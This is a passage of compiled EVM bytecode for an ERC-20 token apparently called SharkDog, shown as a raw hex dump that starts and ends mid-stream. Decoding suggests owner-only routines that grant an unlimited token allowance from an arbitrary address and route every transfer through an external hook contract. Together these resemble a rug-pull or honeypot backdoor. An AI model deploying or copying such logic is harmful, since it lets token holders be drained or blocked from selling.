089c565b610d2e9190613115565b610d389190613186565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d6f33610a36565b610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da590613034565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60606040518060400160405280600881526020017f534841524b444f47000000000000000000000000000000000000000000000000815250905090565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610e7933848461138d565b6001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f1333610a36565b610f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4990613034565b60405180910390fd5b82601681905550610f83620186a0610f758460015461136190919063ffffffff16565b61108090919063ffffffff16565b601781905550610fb3620186a0610fa58360015461136190919063ffffffff16565b61108090919063ffffffff16565b601881905550505050565b610fc733610a36565b611006576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffd90613034565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161107591906132a8565b60405180910390a150565b6000818361108e9190613186565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc90613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b906133c7565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112529190612d82565b60405180910390a3505050565b6000808280602001905181019061127691906133fc565b9150915080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000818361136f9190613115565b905092915050565b60008183611385919061343c565b905092915050565b6113988383836115e6565b6113a28383611757565b6113ad838383611854565b6113b8838383611a32565b6113c28383611b31565b6113cd838383611bfc565b6113d8838383611e3b565b61142a81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114798484611e64565b611483578161148f565b61148e848484611f12565b5b90506114e381600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ba90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115839190612d82565b60405180910390a350505050565b60008383111582906115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d09190612ac5565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c906134e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb90613574565b60405180910390fd5b60008111611707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fe90613606565b60405180910390fd5b61171083610b5b565b811115611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613698565b60405180910390fd5b505050565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117fb5750600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561185057600a60149054906101000a900460ff1661184f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184690613704565b60405180910390fd5b5b5050565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119525750601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561198c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a2d57611999610ceb565b6119eb82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ba90919063ffffffff16565b1115611a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2390613770565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b2c57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166333303b628484846040518463ffffffff1660e01b8152600401611ae793929190613790565b6020604051808303816000875af1158015611b06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2a91906137dc565b505b505050565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611bd85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bf857600160146000828254611bf09190613809565b925050819055505b5050565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611d4457611c596108dd565b81111580611cb05750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d045750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3a90613889565b60405180910390fd5b5b611d4c610d14565b81111580611da35750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611df75750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2d90613889565b60405180910390fd5b505050565b611e468383836120d0565b15611e5f57611e5660175461220a565b60006014819055505b505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f0a5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080611f1f8585612477565b11156120af576000611f57611f348686612477565b611f496012548661108090919063ffffffff16565b61136190919063ffffffff16565b9050611fab81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ba90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161204b9190612d82565b60405180910390a36000600e541115612094576120933061dead61208e600e546120806012548961108090919063ffffffff16565b61136190919063ffffffff16565b61138d565b5b6120a7818461137790919063ffffffff16565b9150506120b3565b8190505b9392505050565b600081836120c89190613809565b905092915050565b600080601854831015905060006017546120e930610b5b565b10159050601560009054906101000a900460ff161580156121165750601360009054906101000a900460ff165b801561212e5750600a60149054906101000a900460ff165b80156121375750815b801561218d5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121e65750601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156121f6575060165460145410155b80156121ff5750805b925050509392505050565b6001601560006101000a81548160ff0219169083151502179055506000612278600261226a600d5461225c600c5461224e6001600b546120ba90919063ffffffff16565b6120ba90919063ffffffff16565b6120ba90919063ffffffff16565b61136190919063ffffffff16565b905060006122a382612295600b548661136190919063ffffffff16565b61108090919063ffffffff16565b905060006122ba828561137790919063ffffffff16565b905060004790506122ca82612606565b60006122df824761137790919063ffffffff16565b9050600061230a6122fb600b548861137790919063ffffffff16565b8361108090919063ffffffff16565b90506000612323600b548361136190919063ffffffff16565b90506000811115612339576123388682612849565b5b6000612363600c5461235560028661136190919063ffffffff16565b61136190919063ffffffff16565b905060008111156123d857601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123d6573d6000803e3d6000fd5b505b6000479050600081111561245057601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561244e573d6000803e3d6000fd5b505b5050505050505050506000601560006101000a81548160ff02191690831515021790555050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061251a5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561253c57612535606460125461137790919063ffffffff16565b9050612600565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361259b576010549050612600565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036125fa57600f549050612600565b60115490505b92915050565b6000600267ffffffffffffffff81111561262357612622612bc5565b5b6040519080825280602002602001820160405280156126515781602001602082028036833780820191505090505b5090503081600081518110612669576126686138a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612710573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061273491906138ed565b81600181518110612748576127476138a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127af30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611096565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612813959493929190613a13565b600060405180830381600087803b15801561282d57600080fd5b505af1158015612841573d6000803e3d6000fd5b505050505050565b61287630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611096565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016128ff96959493929190613a6d565b60606040518083038185885af115801561291d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906129429190613ae3565b5050505050565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b6129708161295d565b811461297b57600080fd5b50565b60008135905061298d81612967565b92915050565b600080600080600080600060e0888a0312156129b2576129b1612953565b5b60006129c08a828b0161297e565b97505060206129d18a828b0161297e565b96505060406129e28a828b0161297e565b95505060606129f38a828b0161297e565b9450506080612a048a828b0161297e565b93505060a0612a158a828b0161297e565b92505060c0612a268a828b0161297e565b91505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a6f578082015181840152602081019050612a54565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a9782612a35565b612aa18185612a40565b9350612ab1818560208601612a51565b612aba81612a7b565b840191505092915050565b60006020820190508181036000830152612adf8184612a8c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b1282612ae7565b9050919050565b612b2281612b07565b8114612b2d57600080fd5b50565b600081359050612b3f81612b19565b92915050565b60008060408385031215612b5c57612b5b612953565b5b6000612b6a85828601612b30565b9250506020612b7b8582860161297e565b9150509250929050565b60008115159050919050565b612b9a81612b85565b82525050565b6000602082019050612bb56000830184612b91565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bfd82612a7b565b810181811067ffffffffffffffff82111715612c1c57612c1b612bc5565b5b80604052505050565b6000612c2f612949565b9050612c3b8282612bf4565b919050565b600067ffffffffffffffff821115612c5b57612c5a612bc5565b5b612c6482612a7b565b9050602081019050919050565b82818337600083830152505050565b6000612c93612c8e84612c40565b612c25565b905082815260208101848484011115612caf57612cae612bc0565b5b612cba848285612c71565b509392505050565b600082601f830112612cd757612cd6612bbb565b5b8135612ce7848260208601612c80565b91505092915050565b60008060008060808587031215612d0a57612d09612953565b5b6000612d188782880161297e565b9450506020612d298782880161297e565b9350506040612d3a8782880161297e565b925050606085013567ffffffffffffffff811115612d5b57612d5a612958565b5b612d6787828801612cc2565b91505092959194509250565b612d7c8161295d565b82525050565b6000602082019050612d976000830184612d73565b92915050565b600080600060608486031215612db657612db5612953565b5b6000612dc486828701612b30565b9350506020612dd586828701612b30565b9250506040612de68682870161297e565b9150509250925092565b600060208284031215612e0657612e05612953565b5b6000612e1484828501612b30565b91505092915050565b600060ff82169050919050565b612e3381612e1d565b82525050565b6000602082019050612e4e6000830184612e2a565b92915050565b612e5d81612b85565b8114612e6857600080fd5b50565b600081359050612e7a81612e54565b92915050565b60008060408385031215612e9757612e96612953565b5b6000612ea585828601612b30565b9250506020612eb685828601612e6b565b9150509250929050565b612ec981612b07565b82525050565b6000602082019050612ee46000830184612ec0565b92915050565b60008060408385031215612f0157612f00612953565b5b6000612f0f85828601612b30565b9250506020612f2085828601612b30565b9150509250929050565b600080600060608486031215612f4357612f42612953565b5b6000612f518682870161297e565b9350506020612f628682870161297e565b9250506040612f738682870161297e565b9150509250925092565b6000612f8882612ae7565b9050919050565b612f9881612f7d565b8114612fa357600080fd5b50565b600081359050612fb581612f8f565b92915050565b600060208284031215612fd157612fd0612953565b5b6000612fdf84828501612fa6565b91505092915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b600061301e600683612a40565b915061302982612fe8565b602082019050919050565b6000602082019050818103600083015261304d81613011565b9050919050565b7f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60008201527f6f7265207468616e203230250000000000000000000000000000000000000000602082015250565b60006130b0602c83612a40565b91506130bb82613054565b604082019050919050565b600060208201905081810360008301526130df816130a3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006131208261295d565b915061312b8361295d565b92508282026131398161295d565b915082820484148315176131505761314f6130e6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006131918261295d565b915061319c8361295d565b9250826131ac576131ab613157565b5b828204905092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000613213602e83612a40565b915061321e826131b7565b604082019050919050565b6000602082019050818103600083015261324281613206565b9050919050565b6000819050919050565b600061326e61326961326484612ae7565b613249565b612ae7565b9050919050565b600061328082613253565b9050919050565b600061329282613275565b9050919050565b6132a281613287565b82525050565b60006020820190506132bd6000830184613299565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061331f602483612a40565b915061332a826132c3565b604082019050919050565b6000602082019050818103600083015261334e81613312565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133b1602283612a40565b91506133bc82613355565b604082019050919050565b600060208201905081810360008301526133e0816133a4565b9050919050565b6000815190506133f681612f8f565b92915050565b6000806040838503121561341357613412612953565b5b6000613421858286016133e7565b9250506020613432858286016133e7565b9150509250929050565b60006134478261295d565b91506134528361295d565b925082820390508181111561346a576134696130e6565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134cc602583612a40565b91506134d782613470565b604082019050919050565b600060208201905081810360008301526134fb816134bf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061355e602383612a40565b915061356982613502565b604082019050919050565b6000602082019050818103600083015261358d81613551565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006135f0602983612a40565b91506135fb82613594565b604082019050919050565b6000602082019050818103600083015261361f816135e3565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b6000613682603183612a40565b915061368d82613626565b604082019050919050565b600060208201905081810360008301526136b181613675565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b60006136ee600e83612a40565b91506136f9826136b8565b602082019050919050565b6000602082019050818103600083015261371d816136e1565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b600061375a601e83612a40565b915061376582613724565b602082019050919050565b600060208201905081810360008301526137898161374d565b9050919050565b60006060820190506137a56000830186612ec0565b6137b26020830185612ec0565b6137bf6040830184612d73565b949350505050565b6000815190506137d681612e54565b92915050565b6000602082840312156137f2576137f1612953565b5b6000613800848285016137c7565b91505092915050565b60006138148261295d565b915061381f8361295d565b9250828201905080821115613837576138366130e6565b5b92915050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b6000613873601183612a40565b915061387e8261383d565b602082019050919050565b600060208201905081810360008301526138a281613866565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506138e781612b19565b92915050565b60006020828403121561390357613902612953565b5b6000613911848285016138d8565b91505092915050565b6000819050919050565b600061393f61393a6139358461391a565b613249565b61295d565b9050919050565b61394f81613924565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61398a81612b07565b82525050565b600061399c8383613981565b60208301905092915050565b6000602082019050919050565b60006139c082613955565b6139ca8185613960565b93506139d583613971565b8060005b83811015613a065781516139ed8882613990565b97506139f8836139a8565b9250506001810190506139d9565b5085935050505092915050565b600060a082019050613a286000830188612d73565b613a356020830187613946565b8181036040830152613a4781866139b5565b9050613a566060830185612ec0565b613a636080830184612d73565b9695505050505050565b600060c082019050613a826000830189612ec0565b613a8f6020830188612d73565b613a9c6040830187613946565b613aa96060830186613946565b613ab66080830185612ec0565b613ac360a0830184612d73565b979650505050505050565b600081519050613add81612967565b92915050565b600080600060608486031215613afc57613afb612953565b5b6000613b0a86828701613ace565b9350506020613b1b86828701613ace565b9250506040613b2c86828701613ace565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005200a7bbcf8720618c9394ca1b7855b7ec9d5da481a13082b08ba62e2f0819764736f6c63430008130033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a578063a9059cbb11610064578063a9059cbb14610513578063dd62ed3e14610550578063e94dd17c1461058d578063f2fde38b146105b657610171565b80638c41180e1461049457806395d89b41146104bd578063a8aa1b31146104e857610171565b806370a08231146103a8578063715018a6146103e5578063751039fc146103fc57806378109e54146104135780637d1db4a51461043e578063893d20e81461046957610171565b806323b872dd1161012357806323b872dd14610286578063293230b8146102c35780632f54bf6e146102da578063313ce567146103175780633f4218e01461034257806348ff2b8b1461037f57610171565b8063044019301461017657806306fdde031461019f578063095ea7b3146101ca5780630e8946191461020757806318160ddd146102305780631f976b7e1461025b57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d60048036038101906101989190612993565b6105df565b005b3480156101ab57600080fd5b506101b46106de565b6040516101c19190612ac5565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec9190612b45565b61071b565b6040516101fe9190612ba0565b60405180910390f35b34801561021357600080fd5b5061022e60048036038101906102299190612cf0565b610732565b005b34801561023c57600080fd5b5061024561089c565b6040516102529190612d82565b60405180910390f35b34801561026757600080fd5b506102706108dd565b60405161027d9190612d82565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612d9d565b610906565b6040516102ba9190612ba0565b60405180910390f35b3480156102cf57600080fd5b506102d86109d1565b005b3480156102e657600080fd5b5061030160048036038101906102fc9190612df0565b610a36565b60405161030e9190612ba0565b60405180910390f35b34801561032357600080fd5b5061032c610a8f565b6040516103399190612e39565b60405180910390f35b34801561034e57600080fd5b5061036960048036038101906103649190612df0565b610a98565b6040516103769190612ba0565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a19190612e80565b610ab8565b005b3480156103b457600080fd5b506103cf60048036038101906103ca9190612df0565b610b5b565b6040516103dc9190612d82565b60405180910390f35b3480156103f157600080fd5b506103fa610ba4565b005b34801561040857600080fd5b50610411610c86565b005b34801561041f57600080fd5b50610428610ceb565b6040516104359190612d82565b60405180910390f35b34801561044a57600080fd5b50610453610d14565b6040516104609190612d82565b60405180910390f35b34801561047557600080fd5b5061047e610d3d565b60405161048b9190612ecf565b60405180910390f35b3480156104a057600080fd5b506104bb60048036038101906104b69190612e80565b610d66565b005b3480156104c957600080fd5b506104d2610e09565b6040516104df9190612ac5565b60405180910390f35b3480156104f457600080fd5b506104fd610e46565b60405161050a9190612ecf565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190612b45565b610e6c565b6040516105479190612ba0565b60405180910390f35b34801561055c57600080fd5b5061057760048036038101906105729190612eea565b610e83565b6040516105849190612d82565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190612f2a565b610f0a565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190612fbb565b610fbe565b005b6105e833610a36565b610627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061e90613034565b60405180910390fd5b86600b8190555085600c8190555084600e8190555083600d8190555082600f81905550816010819055508060118190555061066e600160125461108090919063ffffffff16565b600f54111580156106965750610690600160125461108090919063ffffffff16565b60105411155b6106d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cc906130c6565b60405180910390fd5b50505050505050565b60606040518060400160405280600881526020017f536861726b446f67000000000000000000000000000000000000000000000000815250905090565b6000610728338484611096565b6001905092915050565b61073b33610a36565b61077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190613034565b60405180910390fd5b60006127108561078861089c565b6107929190613115565b61079c9190613186565b90506000612710856107ac61089c565b6107b69190613115565b6107c09190613186565b90506000612710856107d061089c565b6107da9190613115565b6107e49190613186565b90508660028190555085600381905550846004819055506108048461125f565b60006108356103e8610827600561081961089c565b61136190919063ffffffff16565b61108090919063ffffffff16565b90508084101580156108475750808310155b80156108535750808210155b610892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088990613229565b60405180910390fd5b5050505050505050565b60006108d86108ab6000610b5b565b6108ca6108b961dead610b5b565b60015461137790919063ffffffff16565b61137790919063ffffffff16565b905090565b60006012546003546108ed61089c565b6108f79190613115565b6109019190613186565b905090565b600061091384848461138d565b6109c684336109c185604051806060016040528060288152602001613b3760289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115919092919063ffffffff16565b611096565b600190509392505050565b6109da33610a36565b610a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1090613034565b60405180910390fd5b6001600a60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60086020528060005260406000206000915054906101000a900460ff1681565b610ac133610a36565b610b00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af790613034565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bad33610a36565b610bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be390613034565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610c7c9190612ecf565b60405180910390a1565b610c8f33610a36565b610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc590613034565b60405180910390fd5b612710600281905550612710600381905550612710600481905550565b6000601254600454610cfb61089c565b610d059190613115565b610d0f9190613186565b905090565b6000601254600254610d2461089c565b610d2e9190613115565b610d389190613186565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d6f33610a36565b610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da590613034565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60606040518060400160405280600881526020017f534841524b444f47000000000000000000000000000000000000000000000000815250905090565b601560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610e7933848461138d565b6001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f1333610a36565b610f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4990613034565b60405180910390fd5b82601681905550610f83620186a0610f758460015461136190919063ffffffff16565b61108090919063ffffffff16565b601781905550610fb3620186a0610fa58360015461136190919063ffffffff16565b61108090919063ffffffff16565b601881905550505050565b610fc733610a36565b611006576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffd90613034565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161107591906132a8565b60405180910390a150565b6000818361108e9190613186565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc90613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b906133c7565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112529190612d82565b60405180910390a3505050565b6000808280602001905181019061127691906133fc565b9150915080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673f